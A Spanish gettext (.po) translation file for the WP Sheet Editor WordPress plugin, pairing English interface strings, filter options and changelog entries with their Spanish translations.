#~ "conjunto de opciones." #~ msgid "

                  " #~ msgstr "

                  " #~ msgid "Post type: %s" #~ msgstr "Tipo de Post: %s" #~ msgid "Label for %s?" #~ msgstr "Etiqueta para %s?" #~ msgid "Columns Labels" #~ msgstr "Etiquetas de las columnas" #~ msgid "Enter the new value." #~ msgstr "Ingresa el nuevo valor." #~ msgid "Enter the term(s) to append to the existing term(s)." #~ msgstr "" #~ "Ingresa el término(s) a agregar al final del término(s) existente(s)." #~ msgid "" #~ "For example, if you searched for posts by \"author = Mark\" using the " #~ "search tool, we will export only posts with \"author Mark\"" #~ msgstr "" #~ "Por ejemplo, si buscaste los posts por \"autor = Marcos\" usando la " #~ "herramienta de búsqueda, exportaremos sólo los posts con \"autor Marcos\"" #~ msgid "Post Types" #~ msgstr "Tipos de Post" #~ msgid "" #~ "

                  Security: Now the file upload cells are displayed only to the users " #~ "that have permissions to upload files.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora las celdas de carga de archivos se muestran sólo para " #~ "los usuarios que tienen permisos para cargar archivos.

                  " #~ msgid "" #~ "

                  Security: Now the private posts and pages are displayed only to the " #~ "users who have permissions to read and edit them.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora los posts y páginas privadas se muestran sólo a los " #~ "usuarios que tienen permisos para leerlos y editarlos.

                  " #~ msgid "" #~ "

                  Security: Now we don´t allow users to publish posts if they don´t have " #~ "permissions to publish, we save them as drafts.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora no permitimos que los usuarios publiquen posts si no " #~ "tienen permisos para publicarlos. Los guardamos como borradores.

                  " #~ msgid "

                  Other minor changes.

                  " #~ msgstr "

                  Otros cambios menores

                  " #~ msgid "" #~ "

                  New feature: Now the first column of the spreadsheet is always visible " #~ "while scrolling to the right.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora la primera columna de la hoja de cálculo " #~ "está siempre visible mientras te desplazas hacia la derecha.

                  " #~ msgid "

                  Other minor changes and fixes.

                  " #~ msgstr "

                  Otros cambios menores.

                  " #~ msgid "" #~ "

                  New feature: Now you can edit WooCommerce products in the free plugin, " #~ "but with limited columns and product types.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora puedes editar productos WooCommerce en el " #~ "plugin gratuito, aunque con columnas y tipos de producto limitados.

                  " #~ msgid "

                  New feature: Now you can upload featured images using URLs.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora puedes subir imágenes destacadas usando " #~ "URLs.

                  " #~ msgid "" #~ "

                  Improvement: Now the spreadsheet support hundreds of rows at once, and " #~ "saving is faster.

                  " #~ msgstr "" #~ "

                  Mejora: Ahora la hoja de cálculo soporta cientos de filas a la vez, y " #~ "el guardado es más rápido.

                  " #~ msgid "" #~ "

                  NEW - USERS - Released users extension for editing WordPress users in " #~ "spreadsheet. Check extension

                  " #~ msgstr "" #~ "

                  NUEVO - USUARIOS - Extensión de usuarios lanzada para editar usuarios " #~ "de WordPress en una hoja de cálculo. Revisar la extensión

                  " #~ msgid "" #~ "

                  NEW - CORE - Added \"search\" tool. Search by keyword, author, and " #~ "post status.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Se agregó la herramienta de \"búsqueda\". Buscar por " #~ "palabra clave, autor y estado del post.

                  " #~ msgid "" #~ "

                  NEW - COLUMNS RESIZING - Allow to resize columns and save for next " #~ "sessions.

                  " #~ msgstr "" #~ "

                  NUEVO - CAMBIAR EL TAMAÑO DE LAS COLUMNAS - Permite cambiar el tamaño " #~ "de las columnas y guardar para las próximas sesiones.

                  " #~ msgid "" #~ "

                  NEW - FILTERS - Added bar showing active filters with options to " #~ "remove individual filters.

                  " #~ msgstr "" #~ "

                  NUEVO - FILTROS - Se ha añadido una barra que muestra los filtros " #~ "activos con opciones para eliminar filtros individuales.

                  " #~ msgid "" #~ "

                  NEW - CORE - Added status bar showing number of posts loaded in " #~ "spreadsheet and total posts available according to the filters.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Se ha añadido una barra de estado que muestra el " #~ "número de posts cargados en la hoja de cálculo y el total de posts " #~ "disponibles según los filtros.

                  " #~ msgid "" #~ "

                  NEW - CORE - Added settings page button in the toolbar for quick " #~ "access.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO- Botón de la página de ajustes añadido en la barra de " #~ "herramientas para un acceso rápido.

                  " #~ msgid "

                  NEW - CORE - Updated welcome page to showcase extensions.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Página de bienvenida actualizada para mostrar las " #~ "extensiones.

                  " #~ msgid "

                  CHANGE - CORE - Updated texts for improved usability.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Textos actualizados para mejorar la usabilidad.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Removed extensions teasers and replaced with a simple " #~ "text message.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Se han eliminado los teasers de las extensiones y se " #~ "han sustituido por un simple mensaje de texto.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - If the spreadsheet wasn´t modified, don´t show the " #~ "\"please save your changes\" notification when the page is closed.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Si la hoja de cálculo no fue modificada, no mostrar " #~ "la notificación \"Por favor, guarda tus cambios\" cuando la página esté " #~ "cerrada.

                  " #~ msgid "" #~ "

                  FIX - CORE - When closing file uploads or tinymce popups, the screen " #~ "doesn´t return to the original position.

                  " #~ msgstr "" #~ "

                  AJUSTE - CORE - Al cerrar las subidas de archivos o ventanas " #~ "emergentes de tinymce, la pantalla no vuelve a su posición original.

                  " #~ msgid "

                  FIX - CORE - Sometimes options page doesn´t load.

                  " #~ msgstr "

                  AJUSTE- NÚCLEO - A veces la página de opciones no se carga.

                  " #~ msgid "

                  FIX - CORE - Schedule posts are not showing on spreadsheet.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - Los posts del horario no se muestran en la hoja de " #~ "cálculo.

                  " #~ msgid "" #~ "

                  FIX - FILTERS - When using the same filter multiple times with " #~ "different values it starts returning wrong posts.

                  " #~ msgstr "" #~ "

                  AJUSTE - FILTROS - Cuando se utiliza el mismo filtro varias veces con " #~ "valores diferentes, comienza a devolver mensajes erróneos.

                  " #~ msgid "" #~ "

                  FIX - FILTERS - When making a lot of searches, the total posts count " #~ "changes and the infinite scroll stops working.

                  " #~ msgstr "" #~ "

                  AJUSTE - FILTROS - Cuando se hacen muchas búsquedas, el total de posts " #~ "cambia de cuenta y el desplazamiento infinito deja de funcionar.

                  " #~ msgid "" #~ "

                  FIX - CORE - it doesn´t allow to create new WooCommerce products.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - No permite crear nuevos productos WooCommerce.

                  " #~ msgid "" #~ "

                  FIX - CORE - Spreadsheet becomes too slow when loading thousands of " #~ "rows.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - La hoja de cálculo se vuelve demasiado lenta cuando " #~ "se cargan miles de filas.

                  " #~ msgid "" #~ "

                  NEW - POST TEMPLATES - Released free extension for duplicating posts " #~ "in the spreadsheet. Check extension" #~ msgstr "" #~ "

                  NUEVO - PLANTILLAS DE POST - Lanzamiento de una extensión gratuita " #~ "para la duplicación de posts en la hoja de cálculo. Revisar la extensión

                  " #~ msgid "" #~ "

                  NEW - COLUMNS VISIBILITY - This premium feature is now free. You can " #~ "hide and sort columns in the spreadsheet.

                  " #~ msgstr "" #~ "

                  NUEVO - VISIBILIDAD DE LAS COLUMNAS - Esta característica premium es " #~ "ahora gratuita. Puedes ocultar y ordenar columnas en la hoja de cálculo." #~ msgid "" #~ "

                  NEW - AUTO FILL CELLS - This premium feature is now free. You can " #~ "autofill cells by dragging down a cell like you do in excel.

                  " #~ msgstr "" #~ "

                  NUEVO - AUTOLLENAR CELDAS - Esta característica premium es ahora " #~ "gratuita. Puedes rellenar automáticamente las celdas arrastrando hacia " #~ "abajo una celda como lo haces en Excel.

                  " #~ msgid "" #~ "

                  NEW - WOOCOMMERCE - Added new columns to the free version of the " #~ "plugin: SKU, Width, Length, Height, Weight, Manage stock, Stock status, " #~ "and stock quantity.

                  " #~ msgstr "" #~ "

                  NUEVO - WOOOCOMMERCE - Se han añadido nuevas columnas a la versión " #~ "gratuita del plugin: SKU, Anchura, Longitud, Altura, Peso, Gestionar " #~ "stock, Estado de stock y cantidad de stock.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Improved usability. We updated some texts to make it " #~ "clear what features are free and what features are premium

                  " #~ msgstr "" #~ "

                  cambio - núcleo - Mejora de la usabilidad. Hemos actualizado algunos " #~ "textos para dejar claro qué características son gratuitas y qué " #~ "características son premium

                  " #~ msgid "" #~ "

                  CHANGE - CORE - the quick setup flow was redesigned to make the setup " #~ "easier to understand.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - El flujo de configuración rápida fue rediseñado para " #~ "que la configuración sea más fácil de entender.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Improved translations. Now we include a .pot file.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Traducciones mejoradas. Ahora incluimos un archivo." #~ "pot.

                  " #~ msgid "" #~ "

                  FIX - CORE - Added compatibility with \"ultimate fields\" plugin.

                  " #~ msgstr "" #~ "

                  AJUSTE - CORE - Añadida la compatibilidad con el plugin \"ultimate " #~ "fields\".

                  " #~ msgid "" #~ "New feature - Added support for Advanced Custom Fields +v5.0.0. " #~ "(Available for paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Añadido soporte para Advanced Custom Fields " #~ "+v5.0.0. (Disponible sólo para usuarios de pago. Upgrade)" #~ msgid "" #~ "New feature - Spreadsheet formulas - Added support for regular " #~ "expressions (Available for paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Fórmulas de hoja de cálculo - Añadido soporte para " #~ "expresiones regulares (Disponible sólo para usuarios de pago. Upgrade)" #~ msgid "" #~ "New extension - WooCommerce Customers Spreadsheet. View all customer " #~ "profiles, View shipping and Billing info, Advanced Searches, and more. View Extension)" #~ msgstr "" #~ "Nueva extensión - Hoja de cálculo de clientes de WooCommerce. Ver todos " #~ "los perfiles de clientes, Ver información de envío y facturación, " #~ "Búsquedas avanzadas y más. Ver Extensión " #~ ")" #~ msgid "" #~ "Updated extension - Frontend Spreadsheets. Let your users create and edit " #~ "Information like Events, Business listings, WooCommerce Products, Posts, " #~ "etc. View Extension)" #~ msgstr "" #~ "Extensión actualizada - Hojas de cálculo de Frontend. Permite a tus " #~ "usuarios crear y editar información como eventos, listados de negocios, " #~ "Productos WooCommerce, Posts, etc. Ver " #~ "Extensión )" #~ msgid "Improved tools: formulas engine" #~ msgstr "Herramientas mejoradas: motor de fórmulas" #~ msgid "Improved tools: advanced search" #~ msgstr "Herramientas mejoradas: búsqueda avanzada" #~ msgid "Fixed more than 19 bugs" #~ msgstr "Arreglados más de 19 bugs" #~ msgid "Improved 10 features" #~ msgstr "10 características mejoradas" #~ msgid "Updated 4 extensions." #~ msgstr "4 Extensiones Actualizadas." #~ msgid "Apply filters" #~ msgstr "Aplicar filtros" #~ msgid "" #~ "You will be able to switch from one columns group to another group with " #~ "one click. We will display the option in the top toolbar > columns " #~ "manager dropdown" #~ msgstr "" #~ "Podrás cambiar de un grupo de columnas a otro grupo con un solo clic. " #~ "Mostraremos la opción en la barra de herramientas superior > desplegable " #~ "del gestor de columnas" #~ msgid "Edit thousands of rows at once in seconds" #~ msgstr "Edita miles de filas a la vez en segundos" #~ msgid "" #~ "Delete all the items containing duplicate values in the column, we only " #~ "leave one item per unique value. Read more" #~ msgstr "" #~ "Borrar todos los ítems que contienen valores duplicados en la columna, " #~ "sólo dejamos un ítem por cada valor único. Leer más" #~ msgid "Copy from multiple columns" #~ msgstr "Copiar desde varias columnas" #~ msgid "" #~ "Example: 'Articles written by $post_author$ on $post_date$' = 'Articles " #~ "written by Adam on 24-12-2017'.
                  Another example: '$category$-" #~ "$_regular_price$ EUR' would be 'Videos - 25 EUR'" #~ msgstr "" #~ "Ejemplo: 'Artículos escritos por $post_author$ en $post_date$' = " #~ "'Artículos escritos por Adam el 24-12-2017'.
                  Otro ejemplo: " #~ "'$category$-$_regular_price$ EUR' sería `Videos - 25 EUR´'." #~ msgid "The variations are for these products:" #~ msgstr "Las variaciones son para estos productos:" #~ msgid "Hide cell comments?" #~ msgstr "¿Ocultar los comentarios de las celdas?" #~ msgid "" #~ "For example, to get all products with price higher than 100, use: " #~ "_regular_price > 100" #~ msgstr "" #~ "Por ejemplo, para encontrar todos los productos con precio mayor a 100, " #~ "usa: _regular_price > 100" #~ msgid "" #~ "- The sheet has a limit of %d columns for performance reasons. You " #~ "reached the limit. You need to delete columns in the list above (Move " #~ "them to the \"disabled\" list and click the X button on each column), " #~ "reload the page, and new columns will appear automatically - or - you can " #~ "increase the columns limit." #~ msgstr "" #~ "- La hoja tiene un límite de %d de columnas por razones de rendimiento. " #~ "Has llegado al límite. Necesitas eliminar las columnas de la lista " #~ "anterior (Muévelas a la lista \"desactivada\" y haz clic en el botón X de " #~ "cada columna), vuelve a cargar la página, y aparecerán nuevas columnas " #~ "automáticamente - o - puedes aumentar el " #~ "límite de las columnas ." #~ msgid "" #~ "Make advanced searches and show only the matching rows in the " #~ "spreadsheet. You can search by multiple conditions at once." #~ msgstr "" #~ "Haz búsquedas avanzadas y muestra sólo las filas coincidentes en la hoja " #~ "de cálculo. Puedes buscar por múltiples condiciones a la vez." #~ msgid "" #~ "This feature allows you to filter the items in the spreadsheet to display " #~ "only the items you want to edit." #~ msgstr "" #~ "Esta función te permite filtrar los elementos de la hoja de cálculo para " #~ "mostrar sólo los elementos que quieres editar." #~ msgid "Update existing value with the result of a math operation." #~ msgstr "" #~ "Actualizar el valor existente con el resultado de una operación " #~ "matemática." #~ msgid "Decrease the existing value by a percentage." #~ msgstr "Disminuir el valor existente en un porcentaje." #~ msgid "Decrease the existing value by a number." #~ msgstr "Disminuir el valor existente en un número." #~ msgid "Increase the existing value by a percentage." #~ msgstr "Incrementar el valor existente en un porcentaje." #~ msgid "Increase the existing value by a number." #~ msgstr "Incrementar el valor existente en un número." #~ msgid "" #~ "Invalid #8W89WW. The search and replace text must not be empty. At least " #~ "one of them must have a value" #~ msgstr "" #~ "Inválido #8W89WWW. El texto de búsqueda y reemplazo no debe estar vacío. " #~ "Al menos uno de ellos debe tener un valor" #~ msgid "

                  Complete. You can close this popup

                  ." #~ msgstr "

                  Completo. Puedes cerrar esta ventana emergente

                  ." #~ msgid "%d of %d items have been processed. %d items have been updated." #~ msgstr "%d de %d artículos han sido procesados. %d han sido actualizados." #~ msgid "I will edit this file with Microsoft Excel." #~ msgstr "Editaré este archivo con Microsoft Excel." #~ msgid "" #~ "Sometimes Excel shows all the values in a single cell and it does not " #~ "recognize the comma as separator. This fixes that problem" #~ msgstr "" #~ "A veces Excel muestra todos los valores en una sola celda y no reconoce " #~ "la coma como separador. Esto arregla el problema" #~ msgid "" #~ "We find items that have the same value in the CSV Field and the WP Field." #~ "
                  For example, users with the same email address in the CSV and WP." #~ "
                  We can search in 2 fields. Example: products with same SKU and Title," #~ "
                  or users with same email address and username." #~ msgstr "" #~ "Encontramos elementos que tienen el mismo valor en el campo CSV y en el " #~ "campo WP.
                  Por ejemplo, los usuarios con la misma dirección de correo " #~ "electrónico en el CSV y WP.
                  Podemos buscar en 2 campos. Ejemplo: " #~ "productos con el mismo SKU y título,
                  o usuarios con la misma " #~ "dirección de correo electrónico y nombre de usuario." #~ msgid "Field 1: CSV Field" #~ msgstr "Campo 1: Campo CSV" #~ msgid "Field 1: WordPress Field" #~ msgstr "Campo 1: Campo de WordPress" #~ msgid "Share" #~ msgstr "Compartir" #~ msgid "" #~ "

                  Missing column?

                  1. Try to add it automatically. Click here
                  2. You reached the " #~ "columns limit? Fix it
                  3. Maybe " #~ "the column is hidden.
                  4. We can " #~ "help you Contact us
                  " #~ msgstr "" #~ "

                  ¿Falta una columna?

                  1. Intenta añadirla automáticamente. Haz clic aquí
                  2. ¿Has llegado al " #~ "límite de las columnas? Corregir
                  3. >Tal vez la columna esté oculta.
                  4. Podemos ayudarte Contáctanos
                  " #~ msgid "(Go premium)" #~ msgstr "(Pasate a Premium)" #~ msgid "How many posts do you want to display on the spreadsheet?" #~ msgstr "¿Cuántos posts quieres mostrar en la hoja de cálculo?" #~ msgid "Advanced" #~ msgstr "Avanzado" #~ msgid "" #~ "When you have 1000 posts , you might want to open the spreadsheet and " #~ "start editing from post 200. This option lets you open the spreadsheet " #~ "and start from a specific post index instead of starting from the " #~ "beginning." #~ msgstr "" #~ "Cuando tengas 1000 posts, es posible que quieras abrir la hoja de cálculo " #~ "y empezar a editar desde el post 200. Esta opción te permite abrir la " #~ "hoja de cálculo y empezar desde un índice de post específico en lugar de " #~ "empezar desde el principio." #~ msgid "Scheduled" #~ msgstr "Programado" #~ msgid "You can deactivate this forever on the settings page" #~ msgstr "Puedes desactivarlo para siempre en la página de configuración" #~ msgid "Available post types" #~ msgstr "Tipos de post disponibles" #~ msgid "Custom Spreadsheets for Your Users or Employees" #~ msgstr "Hojas de cálculo personalizadas para tus usuarios o empleados" modules/wp-sheet-editor/lang/vg_sheet_editor-es_ES.po000064400001165600147600365160016704 0ustar00msgid "" msgstr "" "Project-Id-Version: \n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2023-07-12T19:16:48+00:00\n" "PO-Revision-Date: 2023-07-19 13:16-0600\n" "Last-Translator: \n" "Language-Team: \n" "Language: es\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Generator: Poedit 3.3.1\n" #: acf/acf.php:84 msgid "ACF: Show checkboxes as multi select dropdowns?" msgstr "" "ACF: ¿Mostrar las casillas de verificación como desplegados de selección " "múltiple?" #: acf/acf.php:85 msgid "" "By default, we show every checkbox as a separate column, but if you have " "checkboxes with many options you might want to use one column with a " "dropdown instead." msgstr "" "Por defecto, mostramos cada casilla de verificación como una columna " "separada, pero si tienes casillas de verificación con muchas opciones es " "posible que desees utilizar una columna con un desplegable en su lugar." #: acf/acf.php:377 msgid "" "You need to configure your Google Maps API key to save the Google Maps " "columns. This is required by Advanced Custom Fields, you can follow this tutorial" msgstr "" "Tienes que configurar la API key de Google Maps para poder guardar valores " "en las columnas de mapas de Advanced Custom Fields. Esto es requerido por " "Advanced Custom Fields, puedes seguir este tutorial" #: acf/acf.php:915 msgid "Enter a title" msgstr "Ingresa un título" #: acf/acf.php:1144 msgid "Row" msgstr "Fila" #: advanced-filters/advanced-filters.php:48 #: advanced-filters/advanced-filters.php:70 #: columns-manager/inc/column-groups.php:281 #: columns-resizing/columns-resizing.php:59 #: columns-visibility/columns-visibility.php:213 formulas/formulas.php:590 #: spreadsheet-setup/spreadsheet-setup.php:283 #: universal-sheet/universal-sheet.php:144 woocommerce/inc/attributes.php:799 #: woocommerce/inc/attributes.php:1019 woocommerce/inc/downloadable.php:368 #: woocommerce/inc/downloadable.php:387 woocommerce/inc/variations.php:1618 #: woocommerce/inc/variations.php:1637 #: wp-sheet-editor/dev/inc/api/editor.php:161 #: wp-sheet-editor/dev/wp-sheet-editor.php:1162 #: wp-sheet-editor/dev/wp-sheet-editor.php:1176 #: wp-sheet-editor/dev/wp-sheet-editor.php:1187 msgid "You dont have enough permissions to view this page." msgstr "No tienes suficientes permisos para ver esta página." #: advanced-filters/advanced-filters.php:132 msgid "Save this search" msgstr "Guardar esta búsqueda" #: advanced-filters/advanced-filters.php:133 msgid "Enter a name..." msgstr "Ingresa un nombre..." #: advanced-filters/advanced-filters.php:441 #: woocommerce/inc/import-export.php:96 msgid "Parent" msgstr "Padre" #: advanced-filters/advanced-filters.php:637 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter %s" msgstr "Ingresa %s" #: advanced-filters/advanced-filters.php:637 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter the names of " msgstr "Ingresa los nombres de " #: advanced-filters/advanced-filters.php:638 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:40 msgid "Category name..." msgstr "Nombre de la categoría..." #: advanced-filters/advanced-filters.php:650 #: advanced-filters/advanced-filters.php:707 #: advanced-filters/advanced-filters.php:762 filters/filters.php:540 msgid "Select..." msgstr "Seleccionar..." #: advanced-filters/advanced-filters.php:705 msgid "Field" msgstr "Campo" #: advanced-filters/advanced-filters.php:714 msgid "Last edit" msgstr "Última modificación" #: advanced-filters/advanced-filters.php:715 msgid "Old slug" msgstr "Slug antiguo" #: advanced-filters/advanced-filters.php:716 filters/filters.php:508 #: wp-sheet-editor/dev/inc/api/bootstrap.php:662 msgid "Author" msgstr "Autor" #: advanced-filters/advanced-filters.php:717 msgid "Date (GMT)" msgstr "Fecha (GMT)" #: advanced-filters/advanced-filters.php:718 msgid "Modified Date (GMT)" msgstr "Fecha de Modificación (GMT)" #: advanced-filters/advanced-filters.php:719 #: wp-sheet-editor/dev/inc/api/bootstrap.php:725 msgid "Comments" msgstr "Comentarios" #: advanced-filters/advanced-filters.php:720 msgid "Ping status" msgstr "Estado del ping" #: advanced-filters/advanced-filters.php:721 #: wp-sheet-editor/dev/inc/api/bootstrap.php:501 msgid "URL Slug" msgstr "URL Slug" #: advanced-filters/advanced-filters.php:722 #: wp-sheet-editor/dev/inc/api/bootstrap.php:759 msgid "Page Parent" msgstr "Página Padre" #: advanced-filters/advanced-filters.php:723 msgid "Mime type" msgstr "Tipo de MIME" #: advanced-filters/advanced-filters.php:724 msgid "Comment count" msgstr "Recuento de comentarios" #: advanced-filters/advanced-filters.php:725 msgid "EDD Variable Prices" msgstr "Precio variable EDD" #: advanced-filters/advanced-filters.php:726 msgid "EDD Download Files" msgstr "Archivos de descarga EDD" #: advanced-filters/advanced-filters.php:757 msgid "A field is missing? Click here" msgstr "¿Faltan campos? Haz clic aquí" #: advanced-filters/advanced-filters.php:761 msgid "Operator" msgstr "Operador" #: advanced-filters/advanced-filters.php:767 woocommerce/inc/attributes.php:779 #: woocommerce/inc/attributes.php:780 woocommerce/inc/variations.php:507 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:947 msgid "Value" msgstr "Valor" #: advanced-filters/advanced-filters.php:772 #: advanced-filters/advanced-filters.php:798 #: wp-sheet-editor/dev/inc/api/bootstrap.php:276 msgid "Add new" msgstr "Añadir nuevo" #: advanced-filters/advanced-filters.php:775 msgid "X" msgstr "X" #: advanced-filters/advanced-filters.php:785 msgid "Enable advanced filters" msgstr "Habilitar filtros avanzados" #: advanced-filters/advanced-filters.php:788 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Advanced search" msgstr "Búsqueda avanzada" #: advanced-filters/advanced-filters.php:790 msgid "" "You can search by any field using operators. I.e. price > 100, image != " "(empty)" msgstr "" "Puedes buscar por cualquier campo usando operadores. Por ejemplo: precio > " "100, imagen != (vacío)" #: advanced-filters/advanced-filters.php:807 msgid "NOT Contains this keyword" msgstr "No Contiene esta palabra clave" #: advanced-filters/advanced-filters.php:807 msgid "" "Enter a keyword to exclude posts, separate multiple keywords with a " "semicolon (;)" msgstr "" "Ingresa una palabra clave para excluir filas. Separa múltiples palabras " "claves con un punto y coma (;)" #: advanced-filters/advanced-filters.php:811 msgid "Find these IDs:" msgstr "Encontrar estos IDs:" #: advanced-filters/advanced-filters.php:811 msgid "" "Enter IDs separated by commas, spaces, new lines, or tabs. You can use ID " "ranges like 20-50 as a shortcut." msgstr "" "Ingresa los IDs separados por comas, espacios, nuevas líneas, o usando tabs. " "Puedes agregar rangos como 20-50 como un acceso directo." #: advanced-filters/advanced-filters.php:816 msgid "Find these URLs:" msgstr "Encontrar estas URLs:" #: advanced-filters/advanced-filters.php:816 msgid "Enter one URL per line" msgstr "Ingresa una URL por línea" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Date range from" msgstr "Fecha Inicial" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Show items published between these dates" msgstr "Mostrar elementos publicados entre estas fechas" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "to" msgstr "Fecha final" #: advanced-filters/advanced-filters.php:839 msgid "Any of these values (Enter multiple values separated by ;)" msgstr "" "Cualquiera de estos valores (Ingresa múltiples valores separados por ;)" #: advanced-filters/advanced-filters.php:840 msgid "CONTAINS" msgstr "CONTIENE" #: advanced-filters/advanced-filters.php:841 msgid "NOT CONTAINS" msgstr "NO CONTIENE" #: advanced-filters/advanced-filters.php:842 msgid "STARTS WITH" msgstr "INICIA CON" #: advanced-filters/advanced-filters.php:843 msgid "ENDS WITH" msgstr "TERMINA CON" #: advanced-filters/advanced-filters.php:844 msgid "CHARACTER LENGTH <" msgstr "CANTIDAD DE CARACTERES <" #: advanced-filters/advanced-filters.php:845 msgid "CHARACTER LENGTH >" msgstr "CANTIDAD DE CARACTERES >" #: advanced-filters/advanced-filters.php:846 msgid "REGEXP" msgstr "REGEXP" #: advanced-filters/advanced-filters.php:847 msgid "In the last x hours" msgstr "En las últimas X horas" #: advanced-filters/advanced-filters.php:848 msgid "In the last x days" msgstr "En los últimos X días" #: advanced-filters/advanced-filters.php:849 msgid "In the last x weeks" msgstr "En las últimas X semanas" #: advanced-filters/advanced-filters.php:850 msgid "In the last x years" msgstr "En los últimos X años" #: columns-manager/columns-manager.php:70 wp-sheet-editor/dev/inc/ajax.php:19 #: wp-sheet-editor/dev/inc/ajax.php:45 msgid "You dont have enough permissions to do this action." msgstr "No tienes suficientes permisos para realizar esta acción." #: columns-manager/columns-manager.php:103 msgid "Please select the background color" msgstr "Por favor, selecciona un color de fondo" #: columns-manager/columns-manager.php:105 formulas/inc/ui.php:622 msgid "Clear value" msgstr "Borrar valor" #: columns-manager/columns-manager.php:107 #: custom-columns/views/settings-page.php:149 #: wp-sheet-editor/dev/inc/api/bootstrap.php:265 #: wp-sheet-editor/dev/views/post-types-form.php:31 #: wp-sheet-editor/dev/views/settings-form.php:120 msgid "Save" msgstr "Guardar" #: columns-manager/columns-manager.php:108 formulas/inc/ui.php:132 #: posts-templates/posts-templates.php:106 #: universal-sheet/views/export-modal.php:14 #: universal-sheet/views/export-modal.php:84 #: universal-sheet/views/import-modal.php:15 #: wp-sheet-editor/dev/views/editor-page.php:265 msgid "Cancel" msgstr "Cancelar" #: columns-manager/columns-manager.php:259 msgid "" " Some columns have the button to change the " "formatting" msgstr "" " Algunas columnas tienen el botón para cambiar " "el formato" #: columns-manager/columns-manager.php:273 columns-visibility/views/form.php:9 msgid "Columns manager" msgstr "Gestor de columnas" #: columns-manager/columns-manager.php:554 #: wp-sheet-editor/dev/inc/api/bootstrap.php:830 msgid ". Add child categories using this format: Parent > child1 > child2" msgstr ". Agrega categorías hijas usando este formato: Padre > hija1 > hija2" #: columns-manager/columns-manager.php:563 msgid "Enter multiple terms separated by commas" msgstr "Ingresa varios términos separados por comas" #: columns-manager/columns-manager.php:581 msgid "Enter multiple post titles separated by commas" msgstr "Ingresa varios títulos separados por comas" #: columns-manager/columns-manager.php:1111 #: wp-sheet-editor/dev/inc/api/bootstrap.php:182 #: wp-sheet-editor/dev/inc/options-init.php:564 #: wp-sheet-editor/dev/inc/options-init.php:567 #: wp-sheet-editor/dev/views/quick-setup.php:101 msgid "Settings" msgstr "Ajustes" #: columns-manager/columns-manager.php:1127 #: custom-columns/views/settings-page.php:91 msgid "Is read only?" msgstr "¿Es de sólo lectura?" #: columns-manager/columns-manager.php:1131 msgid "" "Read-only columns will display a lock and it won't be possible to edit them " "anywhere in the spreadsheet. This is not a security feature because people " "still can edit in the regular WP screens." msgstr "" "Las columnas de sólo lectura mostrarán un candado y no será posible " "editarlas en ninguna parte de la hoja de cálculo. Esto no es una " "característica de seguridad porque la gente todavía puede editar en las " "pantallas normales de WP." #: columns-manager/columns-manager.php:1140 msgid "User capabilities that can read this column" msgstr "Capacidades del usuario que pueden leer esta columna" #: columns-manager/columns-manager.php:1140 msgid "" "The column will appear in the spreadsheet and exports if the user has a role " "with the required capability." msgstr "" "La columna aparecerá en la hoja de cálculo y en las exportaciones si el " "usuario tiene un rol con la capacidad requerida." #: columns-manager/columns-manager.php:1143 msgid "User capabilities that can edit this column" msgstr "Capacidades de usuario que pueden leer esta columna" #: columns-manager/columns-manager.php:1143 msgid "" "The column will be read only if the user doesn't have a role with the " "required capability." msgstr "" "La columna puede ser leía solo si el usuario no tiene un rol con la " "capacidad requerida." #: columns-manager/columns-manager.php:1154 msgid "Separated with commas" msgstr "Separados por comas" #: columns-manager/columns-manager.php:1155 msgid "Serialized array" msgstr "Array serializado" #: columns-manager/columns-manager.php:1158 msgid "File ID" msgstr "ID del archivo" #: columns-manager/columns-manager.php:1159 formulas/inc/ui.php:998 #: universal-sheet/views/import-modal.php:43 msgid "File URL" msgstr "URL del archivo" #: columns-manager/columns-manager.php:1162 msgid "Use default" msgstr "Usar por defecto" #: columns-manager/columns-manager.php:1163 formulas/inc/ui.php:554 #: woocommerce/inc/attributes.php:281 msgid "Yes" msgstr "Sí" #: columns-manager/columns-manager.php:1164 formulas/inc/ui.php:554 #: woocommerce/inc/attributes.php:281 msgid "No" msgstr "No" #: columns-manager/columns-manager.php:1167 #: columns-manager/columns-manager.php:1172 #: wp-sheet-editor/dev/inc/api/bootstrap.php:463 #: wp-sheet-editor/dev/inc/api/custom-tables-bootstrap.php:22 msgid "ID" msgstr "ID" #: columns-manager/columns-manager.php:1168 msgid "Username" msgstr "Nombre de usuario" 